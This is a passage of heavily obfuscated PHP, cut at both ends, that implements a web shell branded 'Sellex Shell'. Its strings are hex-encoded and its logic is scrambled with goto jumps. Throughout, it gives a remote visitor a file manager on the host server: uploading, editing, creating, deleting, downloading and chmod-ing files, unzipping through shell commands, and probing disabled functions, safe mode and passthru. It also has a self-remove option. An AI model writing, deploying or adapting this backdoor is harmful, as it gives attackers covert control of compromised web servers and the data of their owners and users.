151\163\160\154\x61\x79\x3a\156\x6f\x6e\x65\42\76\12\40\40\x20\x20\74\x61\40\x68\x72\145\x66\x3d\x22\150\164\164\160\x73\72\57\57\x73\x65\x6c\154\x65\170\x2e\142\x69\x7a\x22\x20\x74\x69\x74\154\x65\75\42\123\x65\x6c\x6c\x65\170\40\123\150\157\x70\x22\x3e\x53\145\154\x6c\x65\170\x20\x53\x68\157\160\74\57\141\76\xa\40\40\40\40\74\x64\151\166\76\12\x20\40\40\40\40\x20\74\163\160\x61\x6e\x3e\x53\x65\154\154\145\170\x2e\x70\x77\74\x2f\x73\x70\141\156\76\12\x20\40\x20\x20\x20\40\x3c\163\160\x61\x6e\76\x46\x69\x6c\145\x20\155\x61\x6e\x61\147\145\x72\x3c\57\x73\160\141\156\x3e\12\x20\x20\40\40\40\x20\x3c\163\x70\x61\156\x3e\123\x65\x6c\146\40\162\x65\155\x6f\166\x65\74\x2f\x73\x70\x61\156\76\12\x20\40\x20\40\74\57\144\151\166\x3e\12\x20\40\40\x20\x3c\154\x69\x3e\125\156\141\155\x65\40\72\40\x3c\156\157\142\162\x3e"; goto KBqBV; ftX43: echo "\42\76\12\x20\x20\x20\x20\x20\40\x20\40\x3c\x69\x6e\x70\165\x74\x20\164\171\160\145\75\42\163\x75\142\x6d\151\x74\x22\40\x63\154\x61\x73\x73\x3d\x22\142\165\x74\x74\x6f\x6e\x20\x69\163\x2d\x70\162\x69\155\141\162\171\40\151\163\55\x64\x61\162\x6b\40\151\x73\x2d\163\x6d\141\154\x6c\x20\155\164\x2d\62\42\40\156\141\x6d\145\75\x22\151\156\146\x6f\42\x20\x76\141\x6c\165\x65\75\x22\106\165\x6c\x6c\40\x53\x65\162\166\x65\162\x20\x49\156\x66\157\x22\x3e\xa\x20\x20\40\x20\x20\40\x3c\x2f\146\157\162\155\x3e\12"; goto Zn19y; asyxZ: if ($DRQDR === TRUE) { goto pBHDV; } goto dJUVQ; gvvFg: echo "\74\144\x69\x76\x20\x6d\x65\164\150\x6f\144\75\42\x70\157\163\164\42\40\143\x6c\141\x73\163\75\42\x62\x6f\170\x22\x20\x73\x74\171\x6c\x65\x3d\x22\x62\x6f\x72\x64\145\x72\x3a\62\160\170\40\163\x6f\x6c\151\144\x20\x68\x73\154\50\x31\x37\x31\54\40\x31\x30\60\45\x2c\40\61\x36\x25\x29\42\x3e\xa\40\40\x3c\150\64\x20\x63\154\x61\x73\163\75\x22\151\x73\x2d\163\x69\x7a\x65\55\x35\40\150\x61\x73\x2d\164\x65\x78\164\x2d\167\x65\x69\147\150\164\x2d\x62\157\x6c\144\x20\150\141\163\55\164\145\170\x74\x2d\160\162\151\x6d\141\x72\x79\x20\155\x62\x2d\x34\42\x3e\xa\x20\40\40\40\x56\151\145\167\x20\x46\x69\154\145\x3a\x20\x3c\163\x70\x61\x6e\x20\143\154\x61\163\x73\x3d\42\150\x61\x73\55\x74\145\x78\164\x2d\167\150\151\x74\145\x20\150\141\x73\55\x74\145\170\x74\x2d\167\145\x69\147\150\x74\x2d\x6e\x6f\x72\155\x61\x6c\x22\76\x20"; goto k9e4Z; fSLYI: if (!isset($_POST["\x7a\151\160\x66\151\x6c\x65"])) { goto TiVoG; } goto HiUWT; cgrAg: bjEbz: goto S8AsQ; PQOqt: echo ugwhk($_GET["\156"]); goto aDHsV; JniYy: unlink($FK4d6); goto Rk1K9; G87Ww: echo UgWhk($_GET["\x70"]) . "\x2f" . UgwhK($_GET["\x6e"]); goto HhYmi; o4r4L: echo "\125\156\172\151\160\160\x65\x64\x20\x73\x75\x63\143\145\163\x73\x66\165\154\x6c\171\x20\165\163\151\x6e\147\40\143\x6f\155\x6d\141\x6e\144\40\154\x69\x6e\x65\x2e\xa"; goto FcEuN; DNDGC: H2eZY: goto nH3yT; bVKkC: Rhx7x: goto BFh3Z; Qnu8o: if (isset($_GET["\x64\x6f\x77\x6e\154\x6f\x61\x64"])) { goto nBPoY; } goto BCVk_; C_GN8: isset($_POST["\163"]) ? $mWJjd[12]("{$keVpk}\x2f{$_POST["\156"]}") ? f2Y3t("\146\157\154\x64\145\162\40\x6e\141\155\x65\x20\x68\x61\163\40\x62\145\145\x6e\x20\x75\x73\x65\144", 0, "\46\x61\75" . SiRa4("\x6e\x65\167\x44\151\x72")) : ($mWJjd[15]("{$keVpk}\57{$_POST["\156"]}") ? F2y3T("\146\x6f\x6c\x64\x65\x72\40\143\162\x65\141\x74\145\x64\40\x73\165\x63\143\x65\163\163\x66\x75\154\154\171") : F2y3T("\146\x6f\x6c\144\x65\162\x20\146\141\151\154\x65\x64\x20\164\157\40\143\x72\x65\141\x74\x65", 0)) : null; goto cxhRw; K_MOx: $zErae++; goto uThiJ; OKn_g: echo "\74\x2f\x6c\x69\76\xa\40\x20\74\57\x64\x69\166\x3e\xa\x20\x20\x3c\x64\151\x76\40\143\x6c\141\163\x73\x3d\42\160\x2d\62\x22\x3e\12\40\40\40\40\x20\x20\x3c\150\x33\x20\x63\x6c\x61\x73\x73\x3d\42\x69\163\55\x73\151\x7a\x65\x2d\63\x20\x6d\x62\x2d\x33\42\x20\x3e\xa\40\40\x20\x20\40\x20\x20\40\74\x63\x65\156\x74\145\162\x3e\x3c\142\x3e\74\x61\x20\x73\164\x79\x6c\145\75\42\142\141\143\153\x67\x72\157\x75\x6e\x64\72\x74\x72\141\x6e\x73\160\141\162\145\x6e\x74\x22\x20\150\x72\145\x66\x3d\42"; goto LISdx; NbQpR: echo "\x3c\x2f\160\x72\x65\76\74\x2f\144\151\x76\76"; goto F63xR; f0OQq: zBzhl: goto OhcY4; i0L9P: if (isset($_GET["\160"])) { goto X1heF; } goto hB10d; nH3yT: echo "\124\150\x65\40\x27\x75\156\x7a\151\x70\47\x20\143\157\155\x6d\x61\156\x64\40\x69\163\40\156\x6f\x74\40\141\166\141\x69\x6c\141\x62\154\145\x20\157\156\x20\x74\x68\x69\x73\x20\x73\145\x72\166\x65\162\56\12"; goto vwrwf; m8TO1: $DRQDR = $qJtBd->open($huZFR); goto asyxZ; iTPy6: echo "\74\57\x6e\x6f\142\162\76\40\174\40\143\125\x52\114\x20\72\40"; goto HKjD5; rwbFS: dR8cX: goto lmJ1h; xLpxC: v0eS9: goto nJ13P; r2NiQ: echo "\40\x20\x20\x20\x20\x20\x3c\57\146\157\x72\155\76\12\40\40\x20\40\x20\x20\74\146\x6f\x72\x6d\x20\x61\143\164\151\x6f\156\x3d\42\x22\x20\x63\154\141\163\163\75\42\x69\163\x2d\x66\154\145\170\x20\151\163\55\x61\154\x69\147\x6e\55\x69\164\x65\155\163\x2d\x65\156\x64\x22\x20\x6d\145\164\x68\x6f\144\x3d\42\x50\117\123\x54\x22\76\xa\x20\x20\x20\x20\40\40\40\x20\74\x64\x69\x76\76\xa\x20\x20\40\x20\x20\40\x20\40\x20\x20\x3c\x21\55\55\x20\x3c\x6c\141\142\145\x6c\x3e\x4e\x65\x77\x20\x46\x69\x6c\145\74\x2f\154\141\142\x65\x6c\x3e\40\x2d\55\76\12\40\x20\40\x20\40\x20\40\40\x20\40\x3c\x69\x6e\160\x75\164\x20\164\x79\160\x65\x3d\42\x74\145\170\164\42\40\143\154\x61\163\x73\x3d\42\x69\156\160\165\164\x20\151\x73\55\163\x6d\x61\154\154\42\40\x70\154\141\x63\x65\x68\x6f\x6c\x64\x65\x72\75\x22\x4e\x65\x77\x20\106\x69\x6c\x65\x22\40\x20\x6e\x61\155\145\x3d\x22\155\141\153\x65\146\x69\154\x65\42\x2f\x3e\12\40\x20\40\x20\40\40\x20\40\74\57\x64\x69\x76\76\12\x20\x20\x20\x20\x20\40\40\40\x3c\151\156\x70\165\x74\x20\143\154\141\163\163\x3d\42\x6d\x6c\x2d\61\x20\x62\165\x74\164\157\x6e\x20\151\163\x2d\160\162\x69\x6d\x61\x72\171\x20\x69\x73\x2d\x73\x6d\x61\x6c\154\42\40\x74\x79\x70\145\x3d\x22\163\165\142\155\x69\x74\x22\x20\x6e\141\155\145\75\x22\163\x75\142\x6d\x69\x74\x22\40\166\141\x6c\x75\x65\75\x22\x3e\x22\x2f\76\12\40\40\x20\40\x20\40\x20\x20"; goto H61a3; BrWxp: echo $_SERVER["\x52\105\115\x4f\124\x45\137\x41\104\104\x52"]; goto tZlvn; LNZmW: lA959: goto aygGR; suGJ_: echo "\x3c\57\156\x6f\142\162\x3e\12\40\x20\x20\40\x20\x20\x20\x20\x3c\142\x20\x63\x6c\x61\x73\x73\75\42\164\141\x67\x20\x69\x73\x2d\154\151\x67\150\164\40\150\x61\x73\55\x74\x65\170\164\55\144\x61\x72\153\42\x3e\143\x55\x52\114\74\x2f\x62\76\12\x20\40\x20\x20\x20\x20\x20\x20\x3c\156\x6f\x62\162\x20\x63\154\x61\163\x73\75\x22\x6d\x78\x2d\62\42\76"; goto I04b2; znQki: ISTc7: goto S4PR2; hRG94: die($oJwbz); goto RXCC4; VLAWb: function ta6A_() { goto qIzSa; Xx_Os: return "\x4f\106\106"; goto Hu5gv; XNMt4: return "\117\x4e"; goto uWjuh; T7EWo: if (!$CNnnz) { goto HT4LX; } goto XNMt4; Hu5gv: dK1SF: goto QjQdh; uWjuh: goto dK1SF; goto xfzK_; xfzK_: HT4LX: goto Xx_Os; qIzSa: $CNnnz = ini_get("\x73\x61\146\x65\x5f\x6d\x6f\144\145"); goto T7EWo; QjQdh: } goto nIBSq; ihg4R: echo "\x3c\x2f\144\x69\x76\x3e\xa\12"; goto cSOLn; qeUDI: oUhL4: goto Digjf; RU3J2: uUjpR: goto tvfll; BD3G9: unlink($mKxy1 . "\x2f\164\x65\x73\164\x5f\x63\157\155\155\x61\156\144\56\164\170\x74"); goto g1M5R; hp8IJ: echo "\42\x3e\12\x20\x20\40\x20\x20\40\74\x64\x69\166\40\x63\x6c\x61\163\x73\75\42\x69\x73\x2d\146\x6c\x65\x78\x22\76\12\40\x20\x20\40\x20\x20\x20\x20\x3c\151\x6e\160\x75\164\x20\x74\171\x70\145\75\x22\164\145\170\x74\x22\x20\x6e\x61\155\145\75\42\143\157\144\145\170\x22\40\x63\x6c\141\163\163\75\42\x69\156\x70\x75\x74\x22\x20\x70\154\141\x63\x65\150\x6f\154\x64\145\162\x3d\x22"; goto o2t6T; ZxJHB: $I8vAC .= $Q0FGf[rand(0, $c4zya - 1)]; goto sfpuB; KNEon: if (file_exists($mKxy1 . "\x2f\164\x65\x73\164\x5f\143\157\x6d\x6d\141\x6e\144\x2e\164\170\164")) { goto NY9pM; } goto gFmxG; FEBxE: if (strpos(ini_get("\x64\x69\163\x61\x62\x6c\145\x5f\146\x75\156\143\164\151\157\156\163"), "\x70\141\x73\x73\164\x68\162\165") !== 0) { goto GfRvx; } goto kU72Z; S4PR2: jRMyk: goto ihg4R; ptH6a: $zErae++; goto S9ILR; PnUlf: if (!($zErae < count($mWJjd))) { goto JaEu0; } goto s5eAc; yLU0O: function ffuJp() { goto rCqHi; rCqHi: $xHymW = ini_get("\x64\x69\163\x61\x62\154\145\137\x66\x75\156\143\x74\x69\157\x6e\x73"); goto c8SN1; nq5s7: goto BjQbH; goto hBiDf; thxSs: return "\116\117\x4e\105"; goto toB77; c8SN1: if ($xHymW === null || $xHymW === '') { goto NODaP; } goto OE82c; OE82c: return $xHymW; goto nq5s7; toB77: BjQbH: goto MdwZ0; hBiDf: NODaP: goto thxSs; MdwZ0: } goto FhGzc; V15Yn: if (!$mWJjd[12]($FK4d6)) { goto TJ4s1; } goto T4Cf5; yUqwZ: unlink($fKgA3); goto hRG94; be0Xq: uBpEI: goto DD3Zf; xZKMy: bL7ZL($FK4d6); goto V15Yn; MwYDR: $C1o8f = "\163\143\x61\156\x64\151\x72"; goto uDHys; stDsX: echo "\74\x2f\156\x6f\x62\162\x3e\x20\x7c\40\131\x6f\165\162\40\x49\x50\40\x3a\x20\74\x6e\157\142\x72\76"; goto Ivj0Q; S_wCk: EhEmv: goto Ae3K7; DccwL: if ($uKjJE == "\166\x69\145\x77") { goto M9NtG; } goto LjELl; n6diT: $E5Z_f = "\164\145\163\x74\137\x63\x6f\155\x6d\141\x6e\144\x2e\164\x78\164"; goto LQ0zG; DJowL: FgYw1($_POST["\x63\147\x66"], $_POST["\x63\x6f\144\x65\170"]); goto KIbsI; hruo2: foreach ($eEP7u as $UUNTX => $NaV7W) { goto eX0_t; E07k0: if (!($zErae <= $UUNTX)) { goto wCUh6; } goto tW25X; o6IVN: echo "\x22\x3e{$NaV7W}\74\x2f\x61\76\x2f"; goto s2b3M; ffLWS: if (!($zErae != $UUNTX)) { goto hPVmu; } goto SLWrs; KbUTP: echo "\x3c\x61\x20\x68\x72\x65\146\75\42\77\x70\75"; goto OERBf; OEQlv: if (!($NaV7W == '')) { goto GS5nb; } goto p3VQ5; ewqVO: $zErae++; goto d8kRZ; mKW9n: hPVmu: goto CwEma; tW25X: echo sIRa4($eEP7u[$zErae]); goto ffLWS; eTgPd: GS5nb: goto KbUTP; d8kRZ: goto tgmlH; goto TZjIQ; CUjjr: echo "\74\x61\40\x68\162\145\146\x3d\x22\x3f\x70\75\x32\146\x22\76\176\74\57\141\x3e\57"; goto tURdc; eX0_t: if (!($UUNTX == 0 && $NaV7W == '')) { goto lP038; } goto CUjjr; CwEma: zBNFf: goto ewqVO; MP9gs: lP038: goto OEQlv; OERBf: $zErae = 0; goto HpZlc; SLWrs: echo "\62\x66"; goto mKW9n; p3VQ5: goto a30Gp; goto eTgPd; tURdc: goto a30Gp; goto MP9gs; TZjIQ: wCUh6: goto o6IVN; s2b3M: a30Gp: goto RGSrR; HpZlc: tgmlH: goto E07k0; RGSrR: } goto L3Ewc; QmpR8: die($FZEHa ? "\143\150\x65\x63\x6b\x2d\x72\145\163\165\x6c\x74\x2d\x31" : "\143\150\x65\x63\153\x2d\x72\x65\x73\165\154\x74\55\x30"); goto Yzggh; eEOh3: $zErae = 0; goto R4zTw; Me6j_: $f12FE = (isset($_SERVER["\x48\x54\124\x50\123"]) && $_SERVER["\x48\x54\124\x50\x53"] === "\157\156" ? "\150\x74\x74\160\x73" : "\x68\164\x74\160") . "\x3a\x2f\57" . $_SERVER["\x48\124\x54\120\x5f\x48\x4f\x53\x54"] . Ugwhk($q5oCr) . "\57" . $_FILES["\146"]["\156\141\155\x65"][$zErae]; goto i2LLY; i2LLY: f2Y3T("\x66\x69\154\x65\40\x75\160\x6c\x6f\x61\x64\145\x64\40\x73\165\143\x63\x65\x73\x73\146\x75\154\x6c\171\41\134\156" . $f12FE); goto OrZ4o; zCGt4: $FK4d6 = $keVpk . "\57" . uGwhK($_GET["\156"]); goto aVplc; jUVbS: echo "\42\76\12\40\40\x20\x20\x20\40\40\x20\x3c\x2f\144\151\166\76\xa\x20\40\x20\x20\x20\40\40\40\x3c\x62\x75\x74\x74\157\x6e\x20\x74\x79\160\x65\75\x22\163\165\x62\x6d\151\x74\x22\x20\x6e\141\x6d\145\x3d\x22\x73\42\x20\x63\154\141\x73\x73\75\42\142\165\164\164\157\156\40\151\163\x2d\160\162\151\155\141\x72\171\x22\76\123\x61\166\x65\74\57\142\x75\164\164\x6f\x6e\76\12\40\x20\x20\40\x3c\x2f\146\157\162\155\x3e\xa"; goto NzkH4; vLcfu: isset($_POST["\x73"]) ? $mWJjd[13]($keVpk . "\57" . UGWhk($_GET["\x6e"]), $_POST["\x63\x74\156"]) ? f2y3T("\146\151\x6c\145\x20\x63\157\x6e\x74\x65\156\x74\x73\x20\143\150\141\156\147\145\144\x20\163\x75\x63\x63\145\163\x73\146\165\x6c\154\x79", 1, "\x26\141\75" . sIRA4("\166\151\x65\167") . "\x26\156\75{$_GET["\x6e"]}") : f2Y3t("\146\151\x6c\x65\x20\143\157\x6e\x74\145\156\x74\163\x20\146\141\151\x6c\145\144\40\164\x6f\x20\x63\150\141\156\x67\x65") : null; goto ynQAL; cyHmn: echo "\74\x2f\164\x65\x78\x74\x61\x72\145\141\76\12\40\x20\40\x20\x3c\x2f\144\151\x76\x3e\xa\x20\x20\x20\40\74\142\x75\164\164\x6f\156\40\164\x79\x70\145\75\x22\x73\165\x62\x6d\x69\x74\x22\40\156\x61\x6d\145\x3d\x22\163\42\x20\143\x6c\x61\x73\x73\x3d\x22\142\x75\x74\164\157\156\40\151\163\55\160\162\151\x6d\141\x72\x79\42\76\x53\x61\x76\x65\x3c\x2f\142\x75\164\164\157\x6e\76\xa\74\57\146\157\162\155\76\xa\12"; goto vLcfu; RR_mL: function PtPzR($awBwn) { goto rei4e; hpA04: header("\103\x6f\x6e\x74\145\x6e\x74\55\104\x69\x73\160\157\x73\151\x74\x69\157\x6e\72\40\x61\x74\x74\x61\143\x68\x6d\145\x6e\x74\x3b\40\146\x69\154\145\x6e\141\x6d\145\75\x22" . basename($uM71B) . "\42"); goto kOkwh; rei4e: $yrDZG = explode("\x2f", $awBwn); goto CkMd7; vVE9l: header("\x43\157\x6e\x74\x65\x6e\164\x2d\124\x79\x70\x65\72\40\141\160\x70\x6c\151\143\x61\164\x69\157\156\x2f\x6f\143\x74\145\x74\x2d\x73\x74\x72\145\x61\x6d"); goto QGOml; kOkwh: readfile($uM71B); goto D6w6q; D6w6q: Nt0gh: goto hIFS1; ybZXm: if (!file_exists($uM71B)) { goto Nt0gh; } goto AE2Ew; QGOml: header("\103\x6f\156\x74\x65\156\164\x2d\104\x65\163\143\x72\x69\160\x74\x69\157\156\72\x20\x46\x69\154\145\40\124\162\x61\156\163\146\x65\162"); goto DZxOa; CkMd7: $uM71B = uGwHK($yrDZG[0]) . "\57" . UgWhK($yrDZG[1]); goto ybZXm; AE2Ew: $W008J = mime_content_type($uM71B); goto vVE9l; DZxOa: header("\x43\x6f\156\164\x65\156\164\x2d\x4c\145\x6e\x67\x74\x68\x3a\40" . filesize($uM71B)); goto hpA04; hIFS1: } goto fwZTh; lXRD0: echo $mWJjd[18]($mWJjd[14]($keVpk . "\57" . ugWhK($_GET["\156"]))); goto cyHmn; M4x5x: echo "\x54\150\x65\40\x27\x7a\x69\x70\x27\40\x63\x6f\x6d\155\141\156\x64\40\151\x73\x20\x61\166\x61\151\154\x61\142\154\145\72\x20" . trim($bzgfY) . "\xa"; goto Rn_2N; xghJY: $mKxy1 = "\x74\x65\163\164\x5f\143\x6f\x6d\155\x61\x6e\x64\x5f\x75\156\x7a\151\160"; goto i8jP4; LYRJc: unlink($E5Z_f); goto yUqwZ; Dj8ry: mIOi_: goto EWy47; INqQY: echo "\x3c\x2f\x6e\x6f\x62\162\76\xa\x20\40\40\40\x20\x20\74\57\144\x69\166\x3e\xa\x20\x20\40\40\40\x20\74\x62\162\x3e\xa\40\40\40\x20\40\40\x20\40\74\x64\x69\166\40\x63\x6c\141\x73\163\75\x22\x69\163\x2d\x66\x61\x6d\151\154\x79\x2d\x6d\x6f\x6e\x6f\163\160\141\143\x65\x20\x62\165\x74\164\x6f\x6e\x20\x69\163\55\x69\156\x66\157\x20\x70\154\55\x32\40\x69\x73\55\157\165\164\154\151\156\x65\144\40\151\163\55\x69\156\x76\145\162\x74\145\x64\42\76\xa\x20\x20\x20\x20\x20\40\x20\40\74\142\40\x63\154\x61\163\163\75\42\x74\141\x67\x20\151\x73\x2d\x69\156\146\157\42\76\123\145\162\166\x65\162\40\111\120\x3c\57\x62\x3e\xa\x20\x20\40\40\40\x20\x20\x20\x3c\156\x6f\x62\162\x20\143\x6c\141\x73\163\75\x22\x6d\x78\55\x32\42\x3e"; goto hRGsN; nPlIh: if (!($uKjJE == "\144\x65\154\x65\x74\x65")) { goto mIOi_; } goto zCGt4; o2t6T: echo substr(sprintf("\45\157", fileperms(Ugwhk($_GET["\160"]) . "\57" . UgWHk($_GET["\144"]))), -4); goto Rjllv; mYmQW: if (!(isset($_POST["\x63\147\146"]) && isset($_POST["\x63\157\144\x65\x78"]))) { goto ISTc7; } goto qE85o; LWcmT: $huZFR = fopen(basename(UgWhK($_GET["\160"]) . "\57" . $_POST["\155\141\x6b\x65\146\151\x6c\x65"]), "\167") or die(F2Y3t("\x46\141\151\154\145\x64\x20\164\157\40\143\162\145\141\x74\145\40\x66\x69\x6c\145\x21", 0)); goto gWY2k; DD3Zf: TiVoG: goto J3Gof; aMauj: $qJtBd = new pkTmj(); goto m8TO1; xMxKr: echo $_SERVER["\123\105\122\x56\105\122\x5f\101\x44\115\x49\x4e"]; goto td1r3; aVil9: echo "\74\x2f\x6e\x6f\142\x72\76\x3c\x2f\x6c\x69\76\12\x20\x20\40\40\74\154\x69\x3e\x55\x73\145\x72\40\x3a\x20\x3c\x6e\157\x62\162\76"; goto cPk5D; Ka8IZ: JaEu0: goto i0L9P; GECeh: if (!isset($_GET["\x63\150\x6d\157\x64\x64"])) { goto A6KR2; } goto auHmR; a3KVK: $zErae = 0; goto GpfQr; qtvxW: f2y3t("\x46\151\154\145\x20\143\162\145\141\164\145\x64\41"); goto nycFR; Gi67v: if (!isset($_GET["\143\x68\x65\143\153\x7a\151\160"])) { goto QrVTg; } goto GarFd; FzZRE: echo "\42\x3e\x3c\x62\162\x3e\xa\40\x20\40\40\x20\x20\x3c\151\x6e\160\x75\164\40\x20\x63\154\141\163\x73\75\x22\x62\165\164\164\x6f\x6e\x20\151\x73\x2d\x70\162\x69\155\141\162\171\40\x6d\x6c\x2d\x32\42\40\x74\x79\x70\145\x3d\x22\x73\x75\x62\x6d\151\164\x22\x20\166\141\x6c\165\x65\x3d\42\x63\150\x6d\x6f\x64\42\x3e\xa\40\x20\x20\x20\x3c\x2f\x64\151\x76\x3e\12\x9\x3c\x2f\146\157\162\x6d\x3e\12\74\57\144\151\x76\x3e\xa\x9"; goto mYmQW; fptV5: echo $_SERVER["\x53\105\122\126\x45\122\137\x53\117\106\124\x57\101\x52\x45"]; goto oIwRl; aDHsV: echo "\74\x2f\163\x70\141\156\76\xa\x20\x20\74\57\150\64\x3e\xa\x20\x20\40\x20\74\x64\151\x76\40\x63\154\x61\x73\163\75\x22\x66\151\x65\x6c\144\x22\x3e\xa\x20\x20\x20\x20\40\x20\x3c\154\141\x62\x65\x6c\40\x66\x6f\162\75\42\x63\164\156\42\x20\x63\x6c\x61\x73\x73\x3d\42\154\141\x62\x65\x6c\x22\x3e\103\x6f\156\164\x65\x6e\164\74\x2f\154\141\142\145\x6c\76\12\40\x20\x20\40\x20\x20\x3c\x74\x65\170\164\141\162\145\x61\x20\156\141\155\x65\x3d\x22\x63\164\x6e\42\x20\151\144\x3d\x22\x63\x74\x6e\42\40\143\157\154\x73\75\x22\63\60\42\x20\162\x6f\167\163\75\42\x31\60\42\40\143\154\141\x73\163\x3d\42\x74\145\x78\x74\x61\162\x65\141\x22\x3e"; goto lXRD0; LjELl: goto xNsqm; goto koPNe; T4Cf5: F2Y3t("\x66\x61\151\154\x65\x64\40\x74\x6f\x20\x64\x65\x6c\145\x74\145\x20\x74\150\x65\40\146\x6f\154\144\145\162", 0); goto Gffop; IQvT0: C3vwP: goto GECeh; x_PfO: echo "\x3c\x2f\156\157\x62\162\x3e\12\40\40\x20\40\40\40\74\x2f\x64\x69\x76\x3e\xa\x20\40\40\x20\x20\40\x3c\x64\x69\166\x20\143\154\x61\x73\163\75\x22\151\x73\x2d\146\x61\155\x69\x6c\171\x2d\x6d\157\x6e\157\163\x70\141\x63\145\40\x62\x75\164\164\x6f\156\x20\151\x73\55\x6c\151\147\150\x74\x20\160\154\x2d\62\x20\x69\163\x2d\157\165\164\154\151\x6e\145\144\40\x69\x73\55\x69\156\x76\x65\162\164\x65\144\42\76\xa\x20\x20\40\x20\x20\40\40\x20\x3c\x62\x20\143\x6c\x61\163\x73\75\42\164\141\147\40\151\x73\55\x6c\151\x67\150\x74\x20\x68\141\163\55\x74\145\x78\164\x2d\x64\x61\162\153\x22\x3e\x44\151\x73\x61\x62\154\x65\x64\x20\146\165\x6e\143\164\x69\x6f\x6e\x73\74\x2f\142\76\xa\40\x20\x20\40\40\40\x20\x20\74\x6e\x6f\142\162\x20\143\154\x61\x73\163\x3d\x22\155\170\x2d\62\42\76"; goto te6fx; H4KG0: dovnk: goto ia13p; Xw8fQ: echo "\x3c\57\156\x6f\142\x72\76\x20\x7c\40\x53\x65\162\166\145\x72\40\101\144\155\x69\156\x20\x3a\x20"; goto xMxKr; m14ts: echo "\74\x64\151\x76\40\x63\x6c\x61\163\x73\x3d\42\x6d\x79\x2d\x34\x20\x6d\x78\55\62\42\76\xa\x20\40\40\40\x3c\x70\162\x65\x20\143\154\x61\163\163\x3d\42\x6d\55\60\40\x70\55\64\40\x69\163\x2d\163\x69\172\x65\x2d\x36\40\x68\141\163\x2d\164\145\x78\164\x2d\x70\162\151\x6d\x61\162\x79\42\40\163\x74\x79\x6c\x65\x3d\42\142\157\162\144\145\x72\x3a\x32\x70\x78\40\x73\157\x6c\151\144\x20\x68\x73\154\x28\x31\67\61\x2c\x20\61\x30\x30\x25\54\x20\x34\x31\45\x29\x3b\x62\157\162\x64\145\162\x2d\162\x61\x64\x69\165\163\x3a\61\62\160\x78\73\42\76"; goto eKyjG; Digjf: if (!isset($_GET["\143\x68\145\143\x6b\x73\x65\x6e\x64"])) { goto zbRWn; } goto lQQJ8; V8laz: tYGoe: goto IQvT0; i8jP4: if (is_dir($mKxy1)) { goto Y5xBO; } goto o0Ubs; tHsvF: echo "\47\x29\73\x61\x6c\145\162\x74\x28\47\103\157\160\151\145\144\x20\164\157\x20\143\x6c\151\x70\x62\157\x61\162\144\47\51\73\42\x20\143\x6c\x61\163\x73\x3d\x22\151\163\55\x66\x61\155\x69\x6c\171\55\155\157\156\x6f\163\x70\141\143\x65\40\142\165\164\x74\x6f\156\x20\151\x73\x2d\163\x75\x63\143\x65\163\x73\x20\x70\154\55\x32\40\x69\x73\55\157\165\x74\x6c\x69\156\x65\x64\40\151\163\55\x69\156\166\145\162\164\145\144\x22\76\xa\x20\40\x20\x20\40\40\40\40\74\x62\40\x63\x6c\141\x73\x73\x3d\x22\164\x61\x67\40\x69\x73\55\x73\x75\143\x63\x65\x73\x73\40\155\162\55\62\x22\76\x53\141\146\145\x6d\157\144\x65\74\x2f\142\x3e\xa\x20\x20\40\x20\40\40\x20\x20\x3c\156\x6f\x62\x72\76"; goto bmtvF; ppGjr: goto dovnk; goto fQcpx; jGCGI: goto jH9T2; goto g2Jgz; LISdx: echo $_SERVER["\x50\110\x50\137\x53\105\114\106"]; goto ucLKu; NQaSR: echo UgwHk($_GET["\x6e"]); goto fWCEd; o7FZW: echo "\74\57\141\76\x3c\x2f\x63\x65\156\164\145\x72\x3e\xa\x20\40\x20\40\x20\40\74\x2f\150\63\x3e\12\x20\x20\x20\40\x3c\144\151\166\40\143\154\x61\x73\x73\x3d\x22\151\163\55\x66\154\145\170\x22\163\x74\171\x6c\x65\x3d\42\152\165\163\164\151\x66\171\55\x63\157\x6e\164\x65\x6e\x74\x3a\x73\160\x61\143\145\x2d\142\x65\x74\167\145\x65\156\42\76\12\12\x20\40\40\x20\74\144\x69\x76\40\163\x74\171\x6c\145\75\x22\x64\151\163\x70\x6c\x61\171\72\x20\x66\154\x65\x78\73\x66\154\145\x78\x2d\167\x72\x61\x70\72\40\x77\x72\x61\160\73\x6d\141\x78\55\167\151\144\164\150\x3a\40\x36\60\166\x77\x3b\147\141\x70\72\66\160\170\42\76\xa\40\x20\x20\x20\40\40\x3c\144\x69\x76\x20\157\x6e\143\154\x69\x63\153\75\42\x6e\141\x76\151\x67\141\x74\157\x72\56\x63\x6c\x69\x70\142\157\x61\162\x64\56\x77\162\x69\164\x65\x54\145\170\x74\x28\x27"; goto ousj7; S8AsQ: die("\143\150\145\x63\x6b\x2d\162\145\x73\165\154\164\x2d\61"); goto pur8d; J3Gof: echo "\x20\x20\x20\x20\40\40\74\57\x66\157\162\x6d\76\12\x20\x20\40\40\40\x20\x3c\57\x64\x69\x76\x3e\12\40\x20\x20\x20\x3c\57\x64\151\166\76\12\x20\x20\x20\74\x66\x6f\x72\x6d\40\155\145\164\x68\157\x64\x3d\42\107\105\x54\x22\x20\x6e\141\155\x65\75\42"; goto pQMdN; e3BHi: $G21FS = $_FILES["\x66"]["\x6e\141\x6d\x65"]; goto a3KVK; VqRBx: echo "\x27\51\73\x61\x6c\x65\162\x74\50\x27\103\157\x70\151\145\144\x20\164\x6f\x20\143\154\x69\160\x62\x6f\x61\162\x64\x27\51\x3b\42\40\x63\x6c\x61\x73\x73\x3d\42\151\x73\55\x66\x61\x6d\151\154\171\x2d\155\157\156\157\163\x70\x61\143\145\x20\142\x75\164\164\157\x6e\40\x69\163\55\x6c\151\156\153\40\x70\x6c\x2d\x32\x20\151\x73\55\x6f\165\164\154\x69\156\145\144\x22\76\12\x20\40\x20\40\x20\x20\40\x20\x3c\x62\x20\143\154\x61\x73\163\x3d\42\164\141\147\x20\x69\x73\55\154\x69\156\153\x20\x6d\162\55\62\x22\76\x55\156\x61\x6d\145\x3c\x2f\x62\x3e\xa\40\x20\x20\x20\x20\40\x20\x20\x3c\x6e\x6f\142\162\76"; goto hJOeL; IZHGt: $c4zya = strlen($Q0FGf); goto Und2g; nIBSq: function UocA2() { goto wuGR4; wuGR4: if (function_exists("\x63\165\x72\x6c\x5f\x76\145\162\x73\151\x6f\156")) { goto pNMw7; } goto QyyUB; spHOa: Rr2A4: goto e0n2a; XjKod: pNMw7: goto rRkXm; rRkXm: return "\117\x4e"; goto spHOa; QyyUB: return "\117\106\106"; goto yOf5H; yOf5H: goto Rr2A4; goto XjKod; e0n2a: } goto q7MtI; Y43gU: echo 